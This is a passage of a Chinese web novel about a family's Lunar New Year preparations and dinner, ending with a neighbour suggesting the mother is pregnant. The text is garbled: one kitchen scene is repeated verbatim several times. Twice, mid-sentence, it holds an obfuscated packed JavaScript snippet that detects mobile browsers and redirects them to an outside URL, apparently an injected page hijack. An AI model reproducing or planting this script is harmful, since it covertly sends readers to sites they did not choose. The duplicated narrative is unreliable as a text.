小两口的日子过得简单安逸,这样的日子总是过得很快,转眼,已经是腊月。 腊月二十三,祭灶王爷的日子。 姜海棠头一天晚上就起来发面,准备蒸灶饼。 小桃子穿着厚厚的棉衣,眼巴巴地站在地上,眼睛却盯着妈妈手里的蜂蜜罐子直咽口水。 “妈妈,灶饼上能多抹点蜜不?”小丫头吸溜着口水,“灶王爷吃了甜的,肯定多说咱家好话!” “就你机灵,连这个都知道?”姜海棠笑着往她嘴里点了滴蜂蜜。 “孔奶奶说的哦,孔奶奶说今天一定要给灶饼多放糖。” “好哦,我知道了,一定多放蜂蜜。你去把那袋红枣拿来。” 正说着,孔大娘端着个粗瓷碗掀帘子进来:“海棠,刚做的甜醅子,给你们家端来一碗!” 甜醅子的香气从粗陶碗里漫出来,醪糟汁微微泛白,莜麦粒吸饱了水分,长得圆鼓鼓的。酒香混着麦芽香直往鼻子里钻。 “大娘,您这个做得可真好。”姜海棠看着趋于完美的醪糟,笑着说:“我夏天做还行,冬天总是做不太好。” “你忙着厂里的事儿就行了,想吃我给你做。”孔大娘乐呵呵地说。 小桃子禁不住诱惑“噌“地窜过去,小脑袋差点扎进碗里。 “慢着点!这后劲儿大着呢,给兑点凉白开……” 话没说完,小桃子已经灌了一口,嘴角沾了粒青稞还浑然不觉,只是舔着嘴唇。 “慢点儿,后劲大着呢。这怕是要醉了。” “小桃子,赶紧喝点水。”姜海棠忙倒了些水给女儿,可是小家伙贪恋嘴里的甜味,竟然舍不得喝水。 不一会儿时间,小家伙的脸就红了起来。 姜海棠无奈地摇头笑道:“这个小馋猫!” 腊月二十七,姜海棠挎着竹篮去赶年集。 小桃子像只小尾巴似的拽着她衣角,眼睛早被集市上的吃食勾住了,简直不敢错开眼睛。 “妈!黄老汉家的油馓子出锅了!” “等等,先买……哎” 一眨眼的功夫,小丫头已经挤到馓子摊前,姜海棠跟着过去的时候,小丫头正在咽口水。 炸得金黄的馓子盘成塔状,老师傅正拿着长筷子翻油锅。 见小桃子眼巴巴的,老师傅特意掰了块热乎地递过来:“碎娃娃,尝尝老汉的手艺!” 姜海棠赶紧掏钱票,给小桃子买了一点。 她装好油撒子,正打算带着小桃子离开,却被旁边一个人扯住袖子。 “大妹子,换点细棉布中不?拿风干羊肉换!” 掀开布包,红艳艳的肉干泛着油光,看着就很香。 肉干可是稀罕物啊,姜海棠才不愿意错过,因此,立即扯着这个中年女人到了一旁的角落里。 两个人一番讨价还价,很快就商量定了价格。 既然要换肉干,姜海棠也不打算买东西了,而是直接回去拿布料去了。 她和陆良辰两个人都是纺织厂的干部,加上两个人都在重要岗位,布料自是不缺的。 中年女人在厂门口等着姜海棠,姜海棠将布料给她之后,女人很满意的离开了,还说以后要是再有肉干,就来找她。 陆良辰发现家里多了一包肉干的时候,很是惊讶:“这是哪里来的?” “和别人换地,我看这个肉干不错,打算给家里寄回去些。” 肉是稀罕物,肉干更是稀罕物,姜海棠可没想过吃独食,自然要给京城寄过去一些。 “我和谭**商量了,他从今天开始休息,正月初五上班,我正月初五休息,正月十五上班,咱们可以回去一趟。”陆良辰给姜海棠说了这个好消息。 听到能回去,姜海棠果然非常高兴。 “真的吗?那我们要提前准备东西,看看都有什么可以带回去的。哎呀,我明天去转转看看,要是市面上买不到,就去黑市看看,要多给家里人带点东西回去,他们平日里给我们帮得太多了……” 姜海棠絮絮叨叨地说着,激动的心情无以言表。 小桃子显然也很高兴,跳着说:“好哦好哦,能见到哥哥们了,我都想他们了,还想爷爷奶奶和,还有太爷爷们,我好想好想他们哦。” “等回去了,你亲口告诉他们好不好?”姜海棠捏了一下她鼓囊囊的腮帮子,“去,帮妈妈一起做饭去,咱们晚上吃羊肉好不好?” 姜海棠在厨房里忙活起来。 她取出新买来的羊肉,将羊肉泡进温水里,不一会儿,清澈的水就泛起了淡淡的油花。 小桃子搬了个小板凳坐在旁边,眼睛一眨不眨地盯着盆里的肉:“妈,这个肉闻着好香啊!” 看着小家伙一本正经的样子,姜海棠差点笑出声来,不知道的人,还以为这是一盆已经煮好的羊肉呢。 “馋猫,这是生肉,只有腥味,哪里有香味了?等会儿炖好了才香。”姜海棠笑着刮了下她的鼻尖,“去,帮妈妈剥几瓣蒜。” 小家伙立刻蹦起来,从碗柜底下翻出蒜头,蹲在门口认真地剥起来,时不时还偷瞄一眼泡着的羊肉,生怕它跑了似的。 “妈妈,其实,只要是肉都香。”小家伙hi不忘记嘀嘀咕咕地说着。 灶膛里的柴火“噼啪”作响,铁锅烧热后,姜海棠先下了勺胡麻油。 油热后,丢进几粒花椒和干辣椒,“刺啦”一声,麻辣香气瞬间窜了出来。 “妈!好香!”小桃子被呛得打了个喷嚏,却还抻着脖子往锅里瞧。 姜海棠把泡软的羊肉切成厚片,和葱段、姜片一起下锅翻炒。 肉片在热油里“滋滋“作响,边缘渐渐卷起焦黄的边。 她舀了瓢水倒进去,最后盖上木锅盖。 “要炖多久呀?”小桃子扒着灶台问。 “至少一个半小时。”姜海棠擦了擦手,“羊肉得炖到酥烂才好吃。” 听到需要一个半小时,小桃子还是有点失落的,怎么需要这么长时间呢? 不过,好像一个半小时也挺快的,那就再等等吧。 姜海棠一直盯着小桃子看,被她脸上可爱的表情逗得好几次忍不住笑出声。 怎么就是个小馋猫呢? 按道理说,家里的吃喝还不错啊,不至于啊! 小桃子搬了个小板凳坐在旁边,眼睛一眨不眨地盯着盆里的肉:“妈,这个肉闻着好香啊!” 看着小家伙一本正经的样子,姜海棠差点笑出声来,不知道的人,还以为这是一盆已经煮好的羊肉呢。 “馋猫,这是生肉,只有腥味,哪里有香味了?等会儿炖好了才香。”姜海棠笑着刮了下她的鼻尖,“去,帮妈妈剥几瓣蒜。” 小家伙立刻蹦起来,从碗柜底下翻出蒜头,蹲在门口认真地剥起来,时不时还偷瞄一眼泡着的羊肉,生怕它跑了似的。 “妈妈,其实,只要是肉都香。”小家伙hi不忘记嘀嘀咕咕地说着。 灶膛里的柴火“噼啪”作响,铁锅烧热后,姜海棠先下了勺胡麻油。 油热后,丢进几粒花椒和干辣椒,“刺啦”一声,麻辣香气瞬间窜了出来。 “妈!好香!”小桃子被呛得打了个喷嚏,却还抻着脖子往锅里瞧。 姜海棠把泡软的羊肉切成厚片,和葱段、姜片一起下锅翻炒。 肉片在热油里“滋滋“作响,边缘渐渐卷起焦黄的边。 她舀了瓢水倒进去,最后盖上木锅盖。 “要炖多久呀?”小桃子扒着灶台问。 “至少一个半小时。”姜海棠擦了擦手,“羊肉得炖到酥烂才好吃。” 听到需要一个半小时,小桃子还是有点失落的,怎么需要这么长时间呢? 不过,好像一个半小时也挺快的,那就再等等吧。 姜海棠一直盯着小桃子看,被她脸上可爱的表情逗得好几次忍不住笑出声。 怎么就是个小馋猫呢? 按道理说,家里的吃喝还不错啊,不至于啊! 小桃子搬了个小板凳坐在旁边,眼睛一眨不眨地盯着盆里的肉:“妈,这个肉闻着好香啊!” 看着小家伙一本正经的样子,姜海棠差点笑出声来,不知道的人,还以为这是一盆已经煮好的羊肉呢。 “馋猫,这是生肉,只有腥味,哪里有香味了?等会儿炖好了才香。”姜海棠笑着刮了下她的鼻尖,“去,帮妈妈剥几瓣蒜。” 小家伙立刻蹦起来,从碗柜底下翻出蒜头,蹲在门口认真地剥起来,时不时还偷瞄一眼泡着的羊肉,生怕它跑了似的。 “妈妈,其实,只要是肉都香。”小家伙hi不忘记嘀嘀咕咕地说着。 灶膛里的柴火“噼啪”作响,铁锅烧热后,姜海棠先下了勺胡麻油。 油热后,丢进几粒花椒和干辣椒,“刺啦”一声,麻辣香气瞬间窜了出来。 “妈!好香!”小桃子被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104241|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呛得打了个喷嚏,却还抻着脖子往锅里瞧。 姜海棠把泡软的羊肉切成厚片,和葱段、姜片一起下锅翻炒。 肉片在热油里“滋滋“作响,边缘渐渐卷起焦黄的边。 她舀了瓢水倒进去,最后盖上木锅盖。 “要炖多久呀?”小桃子扒着灶台问。 “至少一个半小时。”姜海棠擦了擦手,“羊肉得炖到酥烂才好吃。” 听到需要一个半小时,小桃子还是有点失落的,怎么需要这么长时间呢? 不过,好像一个半小时也挺快的,那就再等等吧。 姜海棠一直盯着小桃子看,被她脸上可爱的表情逗得好几次忍不住笑出声。 怎么就是个小馋猫呢? 按道理说,家里的吃喝还不错啊,不至于啊! 小桃子搬了个小板凳坐在旁边,眼睛一眨不眨地盯着盆里的肉:“妈,这个肉闻着好香啊!” 看着小家伙一本正经的样子,姜海棠差点笑出声来,不知道的人,还以为这是一盆已经煮好的羊肉呢。 “馋猫,这是生肉,只有腥味,哪里有香味了?等会儿炖好了才香。”姜海棠笑着刮了下她的鼻尖,“去,帮妈妈剥几瓣蒜。” 小家伙立刻蹦起来,从碗柜底下翻出蒜头,蹲在门口认真地剥起来,时不时还偷瞄一眼泡着的羊肉,生怕它跑了似的。 “妈妈,其实,只要是肉都香。”小家伙hi不忘记嘀嘀咕咕地说着。 灶膛里的柴火“噼啪”作响,铁锅烧热后,姜海棠先下了勺胡麻油。 油热后,丢进几粒花椒和干辣椒,“刺啦”一声,麻辣香气瞬间窜了出来。 “妈!好香!”小桃子被呛得打了个喷嚏,却还抻着脖子往锅里瞧。 姜海棠把泡软的羊肉切成厚片,和葱段、姜片一起下锅翻炒。 肉片在热油里“滋滋“作响,边缘渐渐卷起焦黄的边。 她舀了瓢水倒进去,最后盖上木锅盖。 “要炖多久呀?”小桃子扒着灶台问。 “至少一个半小时。”姜海棠擦了擦手,“羊肉得炖到酥烂才好吃。” 听到需要一个半小时,小桃子还是有点失落的,怎么需要这么长时间呢? 不过,好像一个半小时也挺快的,那就再等等吧。 姜海棠一直盯着小桃子看,被她脸上可爱的表情逗得好几次忍不住笑出声。 怎么就是个小馋猫呢? 按道理说,家里的吃喝还不错啊,不至于啊! 小桃子搬了个小板凳坐在旁边,眼睛一眨不眨地盯着盆里的肉:“妈,这个肉闻着好香啊!” 看着小家伙一本正经的样子,姜海棠差点笑出声来,不知道的人,还以为这是一盆已经煮好的羊肉呢。 “馋猫,这是生肉,只有腥味,哪里有香味了?等会儿炖好了才香。”姜海棠笑着刮了下她的鼻尖,“去,帮妈妈剥几瓣蒜。” 小家伙立刻蹦起来,从碗柜底下翻出蒜头,蹲在门口认真地剥起来,时不时还偷瞄一眼泡着的羊肉,生怕它跑了似的。 “妈妈,其实,只要是肉都香。”小家伙hi不忘记嘀嘀咕咕地说着。 灶膛里的柴火“噼啪”作响,铁锅烧热后,姜海棠先下了勺胡麻油。 油热后,丢进几粒花椒和干辣椒,“刺啦”一声,麻辣香气瞬间窜了出来。 “妈!好香!”小桃子被呛得打了个喷嚏,却还抻着脖子往锅里瞧。 姜海棠把泡软的羊肉切成厚片,和葱段、姜片一起下锅翻炒。 肉片在热油里“滋滋“作响,边缘渐渐卷起焦黄的边。 她舀了瓢水倒进去,最后盖上木锅盖。 “要炖多久呀?”小桃子扒着灶台问。 “至少一个半小时。”姜海棠擦了擦手,“羊肉得炖到酥烂才好吃。” 听到需要一个半小时,小桃子还是有点失落的,怎么需要这么长时间呢? 不过,好像一个半小时也挺快的,那就再等等吧。 姜海棠一直盯着小桃子看,被她脸上可爱的表情逗得好几次忍不住笑出声。 怎么就是个小馋猫呢? 按道理说,家里的吃喝还不错啊,不至于啊! 小桃子搬了个小板凳坐在旁边,眼睛一眨不眨地盯着盆里的肉:“妈,这个肉闻着好香啊!” 看着小家伙一本正经的样子,姜海棠差点笑出声来,不知道的人,还以为这是一盆已经煮好的羊肉呢。 “馋猫,这是生肉,只有腥味,哪里有香味了?等会儿炖好了才香。”姜海棠笑着刮了下她的鼻尖,“去,帮妈妈剥几瓣蒜。” 小家伙立刻蹦起来,从碗柜底下翻出蒜头,蹲在门口认真地剥起来,时不时还偷瞄一眼泡着的羊肉,生怕它跑了似的。 “妈妈,其实,只要是肉都香。”小家伙hi不忘记嘀嘀咕咕地说着。 灶膛里的柴火“噼啪”作响,铁锅烧热后,姜海棠先下了勺胡麻油。 油热后,丢进几粒花椒和干辣椒,“刺啦”一声,麻辣香气瞬间窜了出来。 “妈!好香!”小桃子被呛得打了个喷嚏,却还抻着脖子往锅里瞧。 姜海棠把泡软的羊肉切成厚片,和葱段、姜片一起下锅翻炒。 肉片在热油里“滋滋“作响,边缘渐渐卷起焦黄的边。 她舀了瓢水倒进去,最后盖上木锅盖。 “要炖多久呀?”小桃子扒着灶台问。 “至少一个半小时。”姜海棠擦了擦手,“羊肉得炖到酥烂才好吃。” 听到需要一个半小时,小桃子还是有点失落的,怎么需要这么长时间呢? 不过,好像一个半小时也挺快的,那就再等等吧。 姜海棠一直盯着小桃子看,被她脸上可爱的表情逗得好几次忍不住笑出声。 怎么就是个小馋猫呢? 按道理说,家里的吃喝还不错啊,不至于啊! 第275章 过年 天色渐暗,锅里的汤汁“咕嘟咕嘟冒着泡,蒸汽顶着锅盖轻轻颤动。 浓郁的羊肉香味飘满屋子,连在客厅里看文件的陆良辰都忍不住探头:“这么香? “爸爸!小桃子掀开门帘探出脑袋说:“妈妈炖的羊肉可香了,我帮你尝过咸淡了! 陆良辰没忍住笑了出来,说道:“真是越来越聪明了,偷吃就偷吃,还说尝过咸淡了! 姜海棠在厨房里忙着又烙了两张死面饼子。 饼子烙好的时候,羊肉也要出锅了。 掀开锅盖的瞬间,乳白的汤汁翻滚着,羊肉已经炖得酥烂。 姜海棠撒了把自己家里种的青蒜苗,热汤一激,清香顿时扑鼻而来。 “良辰,你去隔壁喊赵凯过来一起吃饭。 “妈妈,我去,我去!小桃子立即举手,表示自己要去。 话音才落,小桃子已经哒哒哒地跑了出去。 她身上穿着厚厚的棉衣,跑起来的时候,像个小圆球滚动一样。 小桃子跑到隔壁,大门开着,他直接跑进去。 “赵叔叔,赵叔叔,我来啦! 赵凯听到小桃子的声音,立即开门从屋里走出来。 “小桃子,这么冷的天,你怎么来了? “妈妈说,请您过去吃饭,我偷偷告诉你哦,我妈妈炖了羊肉,香得我都流口水了。小桃子一板一眼地说完,还咽了下口水。 “好,我们这就过去。赵凯也不推辞,直接应下:“小夏,走,一起去蹭饭。 康小夏掀开门帘走出来,说道:“我们两个人去,多不好意思啊。 “小夏阿姨,我最喜欢你了,走嘛走嘛!小桃子小人精一样的立即拉住康小夏的衣服。 赵凯看着小桃子那冻得红扑扑的小脸和亮晶晶充满期待的眼睛,笑着揉了揉她的头。 “行,听我们小桃子的!小夏,拿上我下午刚买的糖炒栗子,给小桃子。 康小夏被小桃子扯着衣角,又听赵凯这么说,脸上绽开了温柔的笑意。 “小桃子,等等阿姨啊。阿姨给你取好吃的。她转身回屋,手脚麻利地提上一袋糖炒栗子。 小桃子一手拉着赵凯的大手,一手牵着康小夏,像只快乐的小鸟,蹦蹦跳跳地往回走。 暮色四合,炊烟在寒冷的空气中显得格外温暖,小桃子呼出的白气在空中飘散,她叽叽喳喳地说着。 “赵叔叔,小夏阿姨,妈妈做的羊肉可软了,筷子一夹就散 !爸爸刚才都被香得坐不住了……我还帮着爸爸尝了咸淡……” 陆家小院浓郁的肉香更加霸道地钻进鼻孔。 厨房里姜海棠正把最后烙得金黄焦脆的死面饼子铲出锅切成块码在盘子里。 陆良辰已经利落地把四方桌摆在了客厅中间正往桌上拿碗筷。 “哟动作真快果然我闺女最棒!”陆良辰看到他们进来笑着打趣。 “那可不小桃子亲自来请跑得比兔子还快生怕来晚了没得吃。”赵凯哈哈笑着把带来的还热乎的糖炒栗子放在桌上“嫂子又来叨扰了。” “叨扰什么人多吃饭才热闹。”姜海棠端着热气腾腾、满满一大盆的羊肉汤出来浓郁的白色汤汁里大块的羊肉颤巍巍的青翠的蒜苗点缀其间散发着诱人的香气。 “快坐快坐小夏别站着坐我旁边。” “海棠姐我能帮什么忙?”康小夏连忙上前接过姜海棠手里的烙饼盘子。 “这饼子烙得真好看金黄金黄的一看就好吃。”看着黄澄澄的饼子 “妈!栗子!赵叔叔买的!”小桃子迫不及待地指着桌上的纸包。 “小馋猫先吃饭!吃了糖炒栗子就吃不下去饭了。”姜海棠笑着点了点女儿的额头。 “赵凯要不要来点酒?”陆良辰问道。 赵凯摇摇头:“不了快过年了得保持警觉。” 陆良辰也不反对两个人开始吃肉说话。 吃不了糖炒栗子的小姑娘目光不由自主地又飘向那盆诱人的羊肉汤小家伙忍不住砸吧了好几下嘴巴。 显然口水都快流下来了。 小桃子乖巧的自己端着小板凳过来坐好急不可耐地伸手去抓被烫得“嘶哈”直吹气也不松手。 “慢点儿没人跟你抢。”陆良辰无奈地从女儿手里接过饼子掰开递给她。 然后给小家伙舀了一碗羊肉汤。 羊肉入口即化萝卜鲜嫩多汁小桃子吃得满嘴油光含含糊糊地说:“我最喜欢吃妈妈做的饭了妈妈做的饭是这个世界上最好吃的饭。” “这小嘴儿巴巴的说得真好。”康小夏没忍住笑出声。 “嫂子这手艺真是绝了!”赵凯夹起一块羊肉入口即化鲜香浓郁带着青蒜苗特有的清香忍不住大赞“这汤又浓又白冬天喝上一碗神仙都不换!” “就是家常做法火候到了自然就好。你要是喜欢我回头教给小夏 。”姜海棠笑着,也给康小夏夹了一大块带筋的羊肉,“小夏,快尝尝,炖了好久,入味了。” “谢谢嫂子。”康小夏看着碗里那块颤巍巍、裹着乳白汤汁的羊肉,有点香迷糊的感觉。 倒是姜海棠,羊肉虽然香,但不知道为啥,她总觉得胃里有点不舒服,好像有点恶心。 但姜海棠也没将这个感觉放在心上,她拿起筷子,小心翼翼地夹起一小块,刚送到嘴边,那股不适的味道仿佛被放大了数倍,胃里不适感猛地加剧。 她强忍着想放下筷子的冲动,努力维持着脸上的笑容,硬是把那块羊肉送进了嘴里。 羊肉确实炖得极好,软烂鲜香。 然而,平日里觉得无比美味的食物,此刻在她嘴里却显得有些油腻。她努力咀嚼着,试图压下喉咙里那股翻涌的感觉,额角甚至渗出了一点细密的汗珠。 “怎么了,海棠,是不是不舒服?”陆良辰立刻察觉到了她的异样,忙轻声问。 姜海棠赶紧摇头,咽下口中的食物,又端起水杯喝了一大口。 “有可能着凉了,应该没事。” 姜海棠也不知道,这么香的羊肉,为什么就让她出现不适了。 她掩饰性地笑了笑,但脸色在灯光下显得有些微白。 陆良辰顾不得继续和赵凯说话了,他体贴地给姜海棠盛了一碗羊汤,特意撇掉了上面的油花,又夹了些清爽的蒜苗:“那先喝点汤顺顺,饼子泡汤也好吃,不腻。” 康小夏看着这两口子腻歪的样子,其实是有些羡慕的,赵凯也不错,只是,不知道未来会不会和陆厂长一样心细会照顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110399|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 姜海棠接过汤碗,温热的清汤滑入喉咙,那股烦闷的感觉似乎真的被压下去一些。 她小口喝着汤,看着身边吃得热火朝天的赵凯、康小夏、陆良辰和像只快乐小松鼠的小桃子,虽然身体有些不适,但心里却觉得熨帖。 “妈妈,我太喜欢您煮的羊肉了,真好吃。”小桃子这个话痨,一边吃饭,一边给姜海棠提供情绪价值,忙活得不得了。 “好吃就多吃点。”姜海棠给她碗里又添了块带脆骨的,“明天妈给你包羊肉饺子,带去给孔奶奶尝尝。” 转眼之间,就是除夕。 这天,陆良辰从厂里拎回条冻得硬邦邦的黄河鲤鱼。 小桃子蹲在后院,看爸爸用清洗鱼。 “冷得很,你回屋里去。”陆良辰手都冻麻了,便对小桃子说。 只可惜,小桃子显然不是个愿意放弃美食回去 的。 对于小桃子这个小吃货来说,只要是吃的,生熟都要等着。 “爸爸,我不去,妈妈说,我们晚上就能吃鱼了,妈妈要给我做酸辣黄河大鲤鱼。” 劝不住女儿,陆良辰也就不勉强了,由着小家伙蹲在自己旁边。 厨房里蒸汽腾腾,姜海棠正往灶膛添柴火。 桌子上摆着许多好吃的,有炸好的油果子,金灿灿的麻花盘成如意结; 蒸笼里蒸着羊肉垫卷子,面卷吸饱了肉汁,闻着就香浓可口; 姜海棠还特意做了酿皮子,拌着油泼辣子,红亮亮地诱人。 “小桃子!”姜海棠朝着后院喊。 小桃子立即听到了,哒哒哒地跑进来问:“妈妈!你喊我是要让我帮你尝咸淡吗?” 小吃货显然对于尝咸淡这个事情十分热衷。 “你把这碗酿皮子给孔奶奶家送过去,能行不?” “当然可以,小桃子可厉害了!”小家伙显然对于自己的能力十分有自信。 小桃子捧着酿皮子碗,晃晃悠悠地朝着隔壁刘红梅家里走去。 孔奶奶家的烟囱正冒着烟,婆媳两个人正在做饭,门帘一掀,裹着寒气的肉香就涌了出来。 “孔奶奶!我妈让我送酿皮子!”她踮着脚把碗递过去,鼻尖冻得通红,比平日里更加可爱了几分。 孔奶奶接过碗,用围裙擦了擦她的脸蛋:“这丫头,手都冻僵了,来,奶奶给你捂一捂。” “不用了,孔奶奶,我不冷,我妈妈说,让我把碗带回去。” 孔大娘立即点头,将大碗里的酿皮子找了盘子装起来,然后又将碗给洗干净了,这才装了几个炸好的丸子给小桃子,又往她兜里塞了把炒瓜子。 “赶紧回去吧,今天过年,奶奶不留你,明天你来我们家和哥哥姐姐一起吃饭。” 小桃子揣着瓜子端着碗跑回家时,陆良辰刚把收拾好的黄河鲤鱼拎进厨房。 姜海棠正往鱼身上抹酱油,指尖沾着的酱汁不小心蹭在围裙上,像朵没开的花。 “妈妈,爸爸说鱼要炸三遍才酥!”小桃子扒着门框喊,兜里的瓜子壳掉了一地。 陆良辰笑着帮女儿捡起来,说道:“去跟妈妈干活,晚上吃羊肉饺子。” 他转头看见姜海棠对着鱼皱眉头,“怎么了?嫌腥?” 第276章 喜事 “有点。”姜海棠往鱼肚子里塞葱段,忽然捂住嘴往灶房外跑。 陆良辰赶紧跟出去,见她蹲在地里干呕。 “早上还好好的,是不是吃坏肚子了?”他搓热了手打算给她捂肚子。 姜海棠摇摇头,接过他递来的热水:“可能是闻着鱼腥味犯恶心。” 她起身时踉跄了一下,被陆良辰稳稳扶住。 “好像从几天前,你就有点不太舒服了,吃羊肉那天,你就在犯恶心,等明天,咱们一定要去医院给你看看……” 好在,姜海棠只是干呕了这一次,后面再没有其他症状。 厨房里,铝制蒸锅“噗噗”地冒着白气,姜海棠掀开锅盖时,蒸腾的热气模糊了眼睛。 小桃子踮着脚往桌上瞅,看见那盘撒着芝麻的油果子,伸手就要抓,被姜海棠拍了下手背。 “等放凉了再吃,烫嘴。” 桌上的搪瓷盘摆得满满当当,除了酸辣黄河鲤鱼,还有陆良辰托人从农场换来的排骨,油亮亮地裹着酱汁,看着十分可口;还有一只清炖鸡,香味浓郁,看着就让人十分有食欲。 除了荤菜,姜海棠还做了几道素菜,有凉拌萝卜、酸辣土豆丝、清炒白菜,还有一盘酿皮子。 这一桌饭菜,已是顶阔气的年夜饭了。 若不是他们二人工资高加上有家里长辈补贴,只怕也不敢这样奢侈。 小桃子的眼睛一直盯着红烧排骨,一直咽口水。 陆良辰笑着往小桃子碗里夹了块排骨:“慢点儿吃,锅里还温着羊肉汤,等会儿泡馍吃。” 小家伙立即连连点头。 正在这时候,有人敲门,原来是赵凯提着两瓶甜醅子进来了。 赵凯放下甜醅子,说道:“这是我娘带过来的,我一个人也吃不完,就给你们送些过来。” “还没吃饭吧,一起吃。”姜海棠忙邀请道。 瞧见陆家饭桌上的年夜饭,赵凯笑道:“嫂子这手艺,比国营饭店大师傅强十倍!不过,我今晚没口福了,我娘和小夏还在家里等着我呢。” “小夏也在你这里过年?”姜海棠问。 “她不想回家,我也不能让小夏一个人孤零零的过年,就接到我这里了。我打算晚上找个宿舍住,把房子让给我娘和小夏。”赵凯说着就要走。 姜海棠立即从厨房里端了一个大碗出来,里面装了一大碗鸡汤。 “来,赵凯,给你带回去,添个菜。” “行,那我就不客气了。”赵凯知道姜海棠 既然能端出来,就是真心诚意的,因此,并没有拒绝,而是直接道谢。 送走了赵凯,一家三口围着桌子坐下,开始准备吃年夜饭。 窗外的雪越下越大,院里的老槐树裹着层白霜。 小桃子啃完排骨,又开始吃鱼。 小家伙碗里的鱼都是被陆良辰仔细挑过刺的,并不担心孩子扎着。 小姑娘只吃肉,一点点素菜都不想吃,姜海棠好不容易才让她吃了点白菜。 等吃完饭,已经是九点多了,小桃子隔着窗户看着外面飘着的雪花,说出自己的决定。 “爸爸,妈妈,我要去堆雪人。” 姜海棠朝着外面看了一眼,说道:“雪太少了,堆不了,咱们等明天早上堆雪人好不好啊?” 小桃子听妈妈这么说,只能点头:“妈妈,明天早上一定要堆哦。” “好,让你爸爸陪着你去!”姜海棠果断将这个伟大而又艰巨的任务交给了陆良辰。 “爸爸,我要堆个戴红围巾的雪人!” “好,都听我们家小桃子的。” 这时候,外面鞭炮声“噼里啪啦”响起来时,小桃子举着呲花朝着外面跑。 “哎呦,你慢点,小桃子,小心摔着。”姜海棠忙喊道。 可是,小丫头已经一蹦三跳地到了大门外面。 “爸爸,妈妈快看!像小星星!” 陆良辰怕女儿出去不安全,只能跟着她去外面。 姜海棠站在门口,望着父女俩在雪地里嬉闹的身影,嘴角不自觉扬起一抹温柔的笑。 陆良辰高大的身影蹲在小桃子旁边,小心翼翼地帮她点燃手中的呲花,火花迸溅的瞬间,小桃子兴奋地直跳,银铃般的笑声在夜色中格外清脆。 隔壁刘红梅家的几个孩子都出来了,看到小桃子,十分热情地跑过来一起玩。 好在陆良辰心疼小桃子,给买的呲花不少,这会儿几个孩子一起玩也可以。 有了孔家几个孩子一起玩,陆良辰可算消停了许多。 他只负责在一旁看着孩子们就行。 雪花纷纷扬扬地落下,落在陆良辰的肩头,也落在小桃子毛茸茸的帽子上。 姜海棠在家里待着,担心父女两个,拢了拢身上的棉袄,刚打算出去找人,忽然觉得胃里又是一阵翻涌。 她皱了皱眉,强压下那股不适感,心想或许是刚才的鱼腥味还没散尽。 她给自己倒了一杯温水喝了,才觉得好了一些。 姜海棠走出去,正 好被小桃子看到了。 “妈妈!你也来玩呀!”小桃子回头冲她招手,小脸被冻得红扑扑的,眼睛却亮得像星星。 “好,妈妈这就来。”姜海棠深吸一口气,抬脚打算过去找小桃子。 可刚走两步,眼前忽然一黑,脚下一软,整个人向前栽去。 “海棠!”陆良辰眼疾手快,一个箭步冲过来,稳稳接住了她。 小桃子吓得丢掉了手中的呲花,跑过来拉住妈妈的手:“妈妈你怎么了?” 孔家几个孩子,也怕了,忙跑过来。 姜海棠缓了缓神,勉强笑道:“没事,可能是站得太急了,有点头晕。” 陆良辰眉头紧锁,伸手摸了摸她的额头,又探了探她的脉搏,觉得都没有什么问题,但他实在担心,语气不容置疑地说道:“明天一早我们就去医院,不能再拖了。” 姜海棠知道他的脾气,只好点头答应。 小桃子紧紧依偎在妈妈身边,小声道:“妈妈,我们回家吧,我不玩呲花了。” 孔家几个孩子也说要回家去,一溜烟地跑了。 回到屋里,陆良辰倒了杯热水递给姜海棠,又往炉子里添了几块煤,让屋里更暖和些。 小桃子乖乖坐在妈妈身边,小手轻轻拍着她的背,像个小大人似的。 “妈妈,我给你讲故事吧,这样你就不难受了。” 姜海棠心中一暖,搂住女儿亲了亲她的脸颊:“好啊,小桃子想讲什么故事?” “讲……讲小兔子过年!”小桃子歪着头想了想,开始绘声绘色地讲起来。 稚嫩的童声驱散了方才的不安,虽然小桃子的故事讲得丢三落四,长长的一个故事,用了三四句话就讲完了,但姜海棠还是觉得很好听。 夜深了,小桃子终于撑不住,趴在妈妈腿上睡着了。 陆良辰轻轻抱起女儿,将她送回小床上,盖好被子。 回到屋里,见姜海棠正望着床铺出神,他走过去握住她的手:“在想什么?” 姜海棠收回目光,轻声道:“我在想,明天去医院……会不会真的有什么问题。” 陆良辰紧了紧她的手,语气坚定:“肯定好好的,放心吧,没事。退一万步,就算有事,不管是什么,我们一起面对。” 姜海棠点点头,靠在他肩上。 窗外的雪依旧下着,但屋内的温暖却让人心安。 第二天一早,吃了饭,陆良辰便打算带着姜海棠去了医院。 还没出门,刘红梅过来了。 “红梅姐,你怎么来了?” “昨天晚上,几个娃回来说,你晕了,我想着大过年的不好过来,这不,今天一大早过来看看。” 因为今天是大年初一,刘红梅还特意拿了一瓶苹果罐头。 “也没什么,就是觉得恶心难受,人有点晕。”姜海棠让刘红梅坐下,给她倒了水,才说。 “是不是闻不了荤腥?”刘红梅又问。 只是,姜海棠没发现,刘红梅的眼睛里闪着光彩。 姜海棠点头:“是有一点,不过不是很严重,红梅姐,我这是咋了?” “这是好事儿啊,我觉得,你这是有了!”刘红梅就差鼓掌欢呼了。 陆良辰在一旁听到这话,难以置信。 这是啥意思? “刘主任,你说这个话,是什么意思?”陆良辰问道。 “还能是什么意思,你要当爸爸了。”刘红梅笑着说:“陆厂长,恭喜恭喜啊。” 